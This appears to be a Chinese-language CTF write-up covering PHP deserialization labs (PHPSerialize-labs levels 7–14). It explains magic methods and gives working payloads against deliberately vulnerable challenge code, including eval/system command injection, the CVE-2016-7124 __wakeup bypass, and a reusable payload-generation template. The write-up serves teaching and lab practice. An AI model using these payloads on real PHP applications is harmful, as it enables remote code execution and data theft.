2026-08-19
php反序列化
00
请注意,本文编写于 87 天前,最后修改于 87 天前,其中某些信息可能已经过时。

目录

一、前置知识:什么是序列化与反序列化?
1.1 生活中的类比
1.2 序列化字符串的"密码本"
二、魔术方法速查表
三、逐题详解(Level 7 - Level 14)
Level 7:实例化和反序列化 —— 漏洞的雏形
题目代码
关键逻辑
漏洞原理
解题步骤
Level 8:构造函数和析构函数 —— 理解生命周期
题目代码(简化版)
关键逻辑
漏洞原理
解题步骤
Level 9:构造函数的后门 —— 析构函数里的 Eval
题目代码
关键逻辑
解题步骤
对比总结
Level 10:wakeup! —— 反序列化的"开场白"
题目代码
关键逻辑
解题步骤
Level 11:Bypass wakeup! —— CVE-2016-7124
题目代码
关键逻辑
CVE-2016-7124 漏洞原理
解题步骤
Level 12:sleep! —— 控制序列化的内容
题目代码
关键逻辑
私有属性的序列化格式
解题步骤
具体对比:有 sleep() vs 没有 sleep()
情况一:没有 sleep()(假设代码里删掉这两个 sleep 函数)
情况二:有 __sleep()(就是现在的题目)
Level 13:__toString() —— 对象变字符串
题目代码
关键逻辑
解题步骤
Level 14:__invoke() —— 对象变函数
题目代码
关键逻辑
解题步骤
四、总结:反序列化攻击的核心思路
五、附录:快速生成 Payload 的模板

本文基于 PHPSerialize-labs 靶场 Level 7-14 整理,面向零基础小白。 参考文章:HelloCTF - PHP 反序列化基础


一、前置知识:什么是序列化与反序列化?

1.1 生活中的类比

想象你要搬家,家里有一套乐高积木(对象)。你不能直接搬着拼好的飞船走,因为路上会散架。于是你把它拆成零件,装进盒子,贴上标签(序列化)。到了新家,你按标签把零件拼回飞船(反序列化)。

在 PHP 中:

  • serialize():把 PHP 的变量(对象、数组、字符串等)变成一串可传输的文本字符串。
  • unserialize():把这串文本还原成原来的变量。

1.2 序列化字符串的"密码本"

看到一串像 O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello CTF!<br>';";} 这样的东西不要慌,我们来逐字拆解:

符号含义
OObject(对象)
:4类名长度为 4
"FLAG"类名叫 FLAG
:1这个对象有 1 个属性
{...}属性列表的开始和结束
s属性名是字符串(string)
:12属性名长度为 12
"flag_command"属性名
s:24:"..."属性值是长度为 24 的字符串

核心结论:反序列化时,PHP 会根据这串字符重新"捏"一个对象出来,并且完全按照字符串里的值给属性赋值——即使这些值和类里原本定义的不一样!


二、魔术方法速查表

魔术方法就是 PHP 中以双下划线 __ 开头的方法,它们会在特定时机自动触发,不需要你手动调用。

魔术方法触发时机危险程度
__construct()创建对象时(new)一般
__destruct()对象被销毁时(脚本结束、unset、反序列化后的对象销毁)⭐⭐⭐ 极高
__wakeup()反序列化 unserialize() 开始时⭐⭐⭐ 极高
__sleep()序列化 serialize() 之前中等
__toString()对象被当作字符串使用时(echo $obj、$obj . "abc")⭐⭐⭐ 极高
__invoke()对象被当作函数调用时($obj())⭐⭐⭐ 极高

为什么反序列化漏洞危险?
因为 unserialize() 会帮你自动实例化一个对象,如果这个对象的类里有 __destruct()、__wakeup() 等魔术方法,它们会在你意想不到的时候自动执行。如果这些方法里写了 eval()、system()、include() 等危险函数,攻击者就能控制这些函数的参数,实现代码执行。


三、逐题详解(Level 7 - Level 14)


Level 7:实例化和反序列化 —— 漏洞的雏形

题目代码

php
class FLAG{ public $flag_command = "echo 'Hello CTF!<br>';"; function backdoor(){ eval($this->flag_command); // 执行 flag_command 里的代码 } } $unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo \'Hello World!<br>\';";}'; $Unserialize_object = unserialize($unserialize_string); $Unserialize_object->backdoor(); // 输出 Hello World!

关键逻辑

  1. FLAG 类里有一个属性 $flag_command,默认是输出一句话。
  2. backdoor() 方法里用了 eval(),它会把字符串当 PHP 代码执行。
  3. 题目最后的关键代码:
    php
    unserialize($_POST['o'])->backdoor();
    它接收你 POST 过来的序列化字符串,反序列化成对象,然后立刻调用 backdoor()。

漏洞原理

反序列化时,PHP 会按照你传入的字符串重新给属性赋值。原本 $flag_command 是 "echo 'Hello CTF!<br>';",但你可以在序列化字符串里把它改成任何你想要的代码!

解题步骤

这里由于部署在windows系统下,所以我们使用type来代替cat命令 10ce5d9d399b791e60595c6ef7679278.png

然后查看源码 52de4790120ae880428c76d8057e7d1b.png

或者使用file_get_contents 函数,它不依赖操作系统命令,也不容易被 disable_functions 禁用

255da8804a05c76055bcdf972d84c52f.png 第一步:本地构造恶意对象

php
<?php class FLAG{ public $flag_command = "system('tac flag.php');"; // 读取 flag 文件 } echo serialize(new FLAG()); ?>

第二步:运行得到 Payload

O:4:"FLAG":1:{s:12:"flag_command";s:22:"system('tac flag.php');";}

第三步:POST 提交 o=O:4:"FLAG":1:{s:12:"flag_command";s:22:"system('tac flag.php');";}

知识点:system() 是 PHP 执行系统命令的函数;tac 是 Linux 命令,按行倒序输出文件内容(和 cat 类似)。


Level 8:构造函数和析构函数 —— 理解生命周期

题目代码(简化版)

php
global $destruct_flag, $construct_flag; $destruct_flag = 0; $construct_flag = 0; class FLAG { public $class_name; public function __construct($class_name) { $this->class_name = $class_name; global $construct_flag; $construct_flag++; // 构造次数 +1 echo "Constructor called " . $construct_flag . "<br>"; } public function __destruct() { global $destruct_flag; $destruct_flag++; // 析构次数 +1 echo "Destructor called " . $destruct_flag . "<br>"; } } /*Object created*/ $demo = new FLAG('demo'); /*Object serialized*/ $s = serialize($demo); /*Object unserialized*/ $n = unserialize($s); /*unserialized object destroyed*/ unset($n); /*original object destroyed*/ unset($demo); new FLAG(); Object created:Constructor called 1 Object serialized: But Nothing Happen(: Object unserialized:But nothing happened either): serialized Object destroyed:Destructor called 1 original Object destroyed:Destructor called 2 This object ('new FLAG();') will be destroyed immediately because it is not assigned to any variable:Constructor called 2 Destructor called 3

new 时调用构造函数,每次调用计数器 $construct_flag 加 1。

对象销毁时调用析构函数,每次调用计数器 $destruct_flag 加 1。

序列化和反序列化不触发构造/析构(除非有 __wakeup 等魔术方法)。

没有变量引用的对象会被立即销毁(也就是不是$s=new FLAG();而是直接new FLAG();),所以 new FLAG(); 会先构造后立刻析构。

下半部分题目:

php
class RELFLAG { public function __construct() { global $flag; $flag = 0; $flag++; echo "Constructor called " . $flag . "<br>"; } public function __destruct() { global $flag; $flag++; echo "Destructor called " . $flag . "<br>"; } } function check(){ global $flag; if($flag > 5){ echo "HelloCTF{???}"; }else{ echo "Check Detected flag is ". $flag; } } if (isset($_POST['code'])) { eval($_POST['code']); check(); }

关键逻辑

  • __construct():只在 new 创建对象时触发,反序列化不会触发!
  • __destruct():在对象被销毁时触发。包括:
    • 用 unset($obj) 手动销毁
    • 脚本运行结束,PHP 自动清理内存
    • 反序列化出来的对象,在脚本结束时也会被销毁,从而触发 __destruct()!

漏洞原理

题目要求 $flag > 5 才能拿到 flag。$flag 在 __construct() 里先被重置为 0 再加 1,在 __destruct() 里再加 1。

  • 实例化(new)→ 触发 __construct(),$flag 先变 0 再加 1 → $flag = 1
  • 销毁时 → 触发 __destruct(),$flag 再加 1

注意:new FLAG() 会触发 __construct(),但 unserialize() 不会触发 __construct(),只会触发 __destruct()!

所以我们的思路是:通过多次 new 和多次 unserialize+unset 来累加 $flag。

解题步骤

这里我是反复反序列化3次,unset3次+一开始new 时调用构造函数一次+unset一开始的构造一次

php
code=$s=new RELFLAG();$d = serialize($s);$f=unserialize($d);unset($f);$e=unserialize($d);unset($e);$g=unserialize($d);unset($g);$h=unserialize($d);unset($h);unset($s);

图片.png

或者使用clone

clone 不会触发构造函数,但克隆出来的对象销毁时会触发析构函数。这样你可以只构造一次,然后批量克隆和销毁

php
$obj = new RELFLAG(); // $flag = 1 $arr = []; for ($i = 0; $i < 5; $i++) { $arr[] = clone $obj; // 克隆 5 个,不触发构造 } unset($arr); // 销毁 5 个克隆对象,析构 5 次,$flag = 1 + 5 = 6

提示

为什么第二个最后还有一次销毁呢?

PHP 是一种脚本语言,当整个脚本执行完毕后,它会自动清理所有变量和内存,包括你创建的每一个对象。这个清理过程中,如果对象定义了析构函数 __destruct(),PHP 就会调用它。

也就是说:

你手动 unset($obj) → 对象被销毁,触发析构。 你不手动 unset,等脚本自然结束 → 对象也会被销毁,同样触发析构。

两者效果一样,只是时间不同:手动 unset 是在代码中间立即销毁;自动销毁是在脚本最后。

或者可以使用这个(官方题解)

php
code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

提示

整个表达式执行完毕后,$flag 的变化如下:

阶段对象触发情况后 $flag
new RELFLAG()临时对象 A构造,$flag=11
serialize(A) 后 A 销毁A析构,$flag++2
unserialize(S1) 生成 BB无2
serialize(B) 后 B 销毁B析构3
unserialize(S2) 生成 CC无3
serialize(C) 后 C 销毁C析构4
unserialize(S3) 生成 DD无4
serialize(D) 后 D 销毁D析构5
unserialize(S4) 生成 EE无5
serialize(E) 后 E 销毁E析构6
最外层 unserialize(S5) 生成 F,但尚未销毁F无6

图片.png

POST 提交 code 参数:

正确思路:利用反序列化不触发 __construct() 的特性!

php
$exp1 = new RELFLAG(); // construct: flag=0→1, 然后destruct: flag=2 $exp2 = new RELFLAG(); // construct: flag=0→1, 然后destruct: flag=2 // 这样不够...

实际上,因为 __construct 会重置 $flag,我们需要避免多次调用 __construct,而多次调用 __destruct。

Payload 思路:创建一个对象,序列化它,然后反复反序列化并销毁:

php
$exp = new RELFLAG(); // construct触发1次,flag先变0再加1=1 $s = serialize($exp); // 反序列化不会触发construct,但unset会触发destruct $n1 = unserialize($s); unset($n1); // destruct: flag=2 $n2 = unserialize($s); unset($n2); // destruct: flag=3 $n3 = unserialize($s); unset($n3); // destruct: flag=4 $n4 = unserialize($s); unset($n4); // destruct: flag=5 $n5 = unserialize($s); unset($n5); // destruct: flag=6

当 check() 执行时,$flag = 6 > 5,拿到 flag。

完整 Payload(URL 编码后 POST 提交 code):

php
$exp=new RELFLAG();$s=serialize($exp);$n1=unserialize($s);unset($n1);$n2=unserialize($s);unset($n2);$n3=unserialize($s);unset($n3);$n4=unserialize($s);unset($n4);$n5=unserialize($s);unset($n5);

Level 9:构造函数的后门 —— 析构函数里的 Eval

题目代码

php
class FLAG { var $flag_command = "echo 'HelloCTF';"; public function __destruct() { eval ($this->flag_command); // 析构时执行命令 } } unserialize($_POST['o']);

关键逻辑

这题和 Level 7 很像,但没有直接调用方法,而是把危险代码放在了 __destruct() 里。

当你 POST 一个序列化字符串后:

  1. unserialize() 创建了一个 FLAG 对象
  2. 脚本继续执行,直到结束
  3. PHP 清理内存,销毁这个对象 → 自动触发 __destruct() → eval() 执行

解题步骤

这里我的部署方式有点问题,所以flag找不到,使用type读下index.php作为示范

payload的构造可以使用这段php代码来运行还不容易出错

php
<?php class FLAG{ var $flag_command = "system('type /flag');"; } echo serialize(new FLAG()); ?>

图片.png

图片.png

php
<?php class FLAG { var $flag_command = "system('tac flag.php');"; } echo serialize(new FLAG()); ?>

Payload:

o=O:4:"FLAG":1:{s:12:"flag_command";s:22:"system('tac flag.php');";}

对比总结

这里你是否感觉和level7有些相像呢?

关卡 7关卡 9
触发函数backdoor() 方法__destruct() 析构函数
触发方式手动调用 ->backdoor()自动触发(对象未被引用被销毁)
关键代码unserialize($_POST['o'])->backdoor();unserialize($_POST['o']);
利用点控制 flag_command 属性控制 flag_command 属性
Payload 结构同左,类名 FLAG,属性 flag_command同左,类名 FLAG,属性 flag_command

两关的 Payload 完全一样(因为类名和属性名都相同),只是关卡 7 需要额外写 ->backdoor() 来手动触发,而关卡 9 不需要,因为对象会自动销毁并触发析构。


Level 10:wakeup! —— 反序列化的"开场白"

题目代码

php
class FLAG{ function __wakeup() { include 'flag.php'; echo $flag; } } if(isset($_POST['o'])) { unserialize($_POST['o']); }

关键逻辑

__wakeup() 是一个在反序列化开始时自动调用的魔术方法。题目里它直接 include 'flag.php' 并 echo $flag。

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

解题步骤

这题非常简单,因为 __wakeup() 里没有过滤,直接反序列化就会触发。

php
<?php class FLAG{} echo serialize(new FLAG()); ?>

图片.png Payload:

o=O:4:"FLAG":0:{}

0:{} 表示这个对象有 0 个属性。因为 __wakeup() 不需要任何属性就能触发。


Level 11:Bypass wakeup! —— CVE-2016-7124

题目代码

php
include 'flag.php'; class FLAG { public $flag = "FAKEFLAG"; public function __wakeup(){ global $flag; $flag = NULL; // 把真正的 flag 清空! } public function __destruct(){ global $flag; if ($flag !== NULL) { echo $flag; // 输出真正的 flag } else { echo "sorry,flag is gone!"; } } } if(isset($_POST['o'])) { unserialize($_POST['o']); }

关键逻辑

在这个 FLAG 类中:真实属性数量是 1($flag)。

而这里提交的 O:4:"FLAG":0:{} 中,声明的属性数量是 0。 因为 0 < 1,不满足漏洞触发条件(需要 大于) 图片.png

  1. __wakeup() 在反序列化时先执行,把 $flag 设为 NULL
  2. __destruct() 在对象销毁时执行,检查 $flag 是否为 NULL
  3. 如果 $flag 被 __wakeup() 清空了,就输出 "sorry,flag is gone!"

问题:怎么让 __wakeup() 不执行?

CVE-2016-7124 漏洞原理

这是 PHP 的一个历史漏洞,影响版本:PHP 5 < 5.6.25 / PHP 7 < 7.0.10。

漏洞触发条件:当序列化字符串中声明的属性个数大于实际属性个数时,PHP 会跳过 __wakeup() 的执行!

从题目给的 phpinfo() 可以看到当前是 PHP 5.4.45,正好在这个漏洞影响范围内。

图片.png

解题步骤

第一步:构造正常序列化字符串

php
<?php class FLAG { public $flag = "FAKEFLAG"; } echo serialize(new FLAG()); ?>

输出:

O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}

第二步:修改属性个数

把 :1:(表示有1个属性)改成 :2:(表示有2个属性,但实际只有1个):

O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}

第三步:POST 提交

图片.png

o=O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}

此时 PHP 发现"声明了2个属性,但大括号里只有1个",认为数据异常,跳过 __wakeup(),直接反序列化。对象销毁时 __destruct() 执行,$flag 仍然是 flag.php 里的值,成功输出 flag。

注意:这个漏洞在 PHP 7.0.10+ 和 PHP 5.6.25+ 已被修复,所以靶场特意用了老版本 PHP。


Level 12:sleep! —— 控制序列化的内容

题目代码

php
class FLAG { private $f; private $l; protected $a; public $g; public $x,$y,$z; public function __sleep() { return ['x','y','z']; // 只序列化 x, y, z } } class CHALLENGE extends FLAG { public $h,$e,$l,$I,$o,$c,$t,$f; function chance() { return $_GET['chance']; // 从 URL 参数获取 } public function __sleep() { /* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */ $array_list = ['h','e','l','I','o','c','t','f','f','l','a','g']; $_=array_rand($array_list);$__=array_rand($array_list); return array($array_list[$_],$array_list[$__],$this->chance()); } } echo serialize(new CHALLENGE());

关键逻辑

  1. __sleep() 在序列化之前调用,它返回一个数组,数组里的元素是要被序列化的属性名。
  2. CHALLENGE 类的 __sleep() 每次随机选两个属性,再加上 $this->chance()(即你 GET 传入的 chance 参数)。
  3. Flag 由这些属性值拼接而成:$h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g

私有属性的序列化格式

这是本题的难点。PHP 中:

  • public 属性:直接是 s:1:"h";
  • protected 属性:前面加 %00*%00,即 %00*%00a
  • private 属性:前面加 %00类名%00,即 %00FLAG%00f 和 %00FLAG%00l

%00 是 ASCII 码为 0 的空字符(null byte),在 URL 中需要编码为 %00。

解题步骤

题目提示 FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g,也就是说 flag 由这些变量的值按顺序拼接。

我们需要逐个获取这些属性的值。方法是通过 GET 参数 chance 指定你想序列化的属性名。

获取 public 属性(如 h, e, l, I, o, c, t, f, g):

图片.png 直接访问:

?chance=h ?chance=e ...

获取 protected 属性($a):

图片.png

?chance=%00*%00a

获取 private 属性(f,f, l,注意它们定义在父类 FLAG 中):

?chance=%00FLAG%00f ?chance=%00FLAG%00l

每次请求会返回类似:

O:9:"CHALLENGE":3:{s:1:"c";s:7:"before_";s:1:"o";s:7:"called_";s:17:"you shuold use it";N;}

其中 s:1:"c" 的值就是 before_,s:1:"o" 的值就是 called_。通过多次请求收集所有片段,拼接出完整 flag。

小技巧:因为每次随机返回两个属性,你可以多次请求同一个 chance,观察第三个位置(即你指定的 chance 对应的值)。

好问题。用快递比喻一句话说完:

__sleep() 就是"打包清单"。没有它,打包员会把所有东西(包括保险箱里的)全倒出来给你看;有了它,打包员只按清单打包,但清单最后一栏让你自己填,你填个暗号,他就把藏起来的也拿出来了。


具体对比:有 __sleep() vs 没有 __sleep()

情况一:没有 __sleep()(假设代码里删掉这两个 __sleep 函数)

你直接访问页面,serialize(new CHALLENGE()) 会输出:

O:9:"CHALLENGE":12:{ s:1:"h";s:1:"H"; s:1:"e";s:1:"e"; s:1:"l";s:1:"l"; ... s:7:"%00FLAG%00f";s:5:"part9"; s:7:"%00FLAG%00l";s:5:"part10"; s:4:"%00*%00a";s:5:"part11"; s:1:"g";s:5:"part12"; }

所有属性,包括爸爸保险箱里的,一次性全给你。

这题就直接废了,flag 白给,根本不需要你构造什么 chance 参数。


情况二:有 __sleep()(就是现在的题目)

FLAG::__sleep() 说:"只打包 x、y、z。"

所以直接 serialize(new FLAG()),你只能看到三个空值:

O:4:"FLAG":3:{s:1:"x";N;s:1:"y";N;s:1:"z";N;}

CHALLENGE::__sleep() 说:"只打包 3 个东西:随机 2 个 + 你自己指定的 1 个。"

这就把输出限制死了。正常情况下你每次只能看到 3 张纸条,而且前两张还是随机的,flag 永远看不全。

但漏洞就在这里:第三张纸条的名字由你控制($_GET['chance'])。

你可以填 h,他就给你 h 的值;你填 %00FLAG%00f,他就去爸爸保险箱里把 private $f 翻出来给你。


如果没有 __sleep(),这题就没有"锁",也就没有"开锁"的过程,flag 直接裸奔。

没有 __sleep(),这题就不存在"绕过",因为压根没有限制。


Level 13:__toString() —— 对象变字符串

题目代码

php
class FLAG { function __toString() { echo "I'm a string ~~~"; include 'flag.php'; return $flag; } } $obj = new FLAG(); if(isset($_POST['o'])) { eval($_POST['o']); }

关键逻辑

__toString() 在对象被当作字符串使用时自动触发,常见场景:

  • echo $obj
  • print $obj
  • $obj . "abc"(字符串连接)
  • strval($obj)

题目里 $obj 已经实例化好了,而且你的输入会被 eval() 执行。

解题步骤

我们需要让 $obj 被当作字符串处理。因为 eval() 会执行我们传入的 PHP 代码:

图片.png POST 提交:

o=echo $obj;

当 eval('echo $obj;') 执行时,echo 需要把 $obj 转成字符串 → 触发 __toString() → include 'flag.php' → 返回 $flag → 输出 flag。


Level 14:__invoke() —— 对象变函数

题目代码

php
class FLAG{ function __invoke($x) { if ($x == 'get_flag') { include 'flag.php'; echo $flag; } } } $obj = new FLAG(); if(isset($_POST['o'])) { eval($_POST['o']); }

关键逻辑

__invoke() 在对象被当作函数调用时触发,即 $obj()。

__invoke() 也可以接受参数

题目要求传入的参数 $x 必须等于 'get_flag'。

解题步骤

图片.png POST 提交:

o=$obj('get_flag');

eval() 执行 $obj('get_flag'),把 $obj 当作函数调用 → 触发 __invoke('get_flag') → 参数匹配 → 输出 flag。


四、总结:反序列化攻击的核心思路

步骤说明
1. 找入口找到 unserialize($_POST['x']) 或 eval() 等可以执行代码的地方
2. 找类找到定义了危险魔术方法的类(__destruct、__wakeup、__toString、__invoke)
3. 找危险操作看魔术方法里有没有 eval()、system()、include()、file_get_contents() 等
4. 构造链子通过控制对象的属性值,把恶意参数送进危险函数
5. 生成 Payload用 serialize() 生成字符串,根据需要修改(如 CVE-2016-7124 改属性个数)

五、附录:快速生成 Payload 的模板

php
<?php // 根据题目修改类名和属性 class FLAG { public $cmd = "system('whoami');"; } // 生成序列化字符串 $payload = serialize(new FLAG()); echo $payload . "\n"; // 如果需要 URL 编码 echo urlencode($payload) . "\n"; // 如果需要 CVE-2016-7124 绕过(把属性个数改大) $payload = str_replace(':1:', ':2:', $payload); echo $payload . "\n"; ?>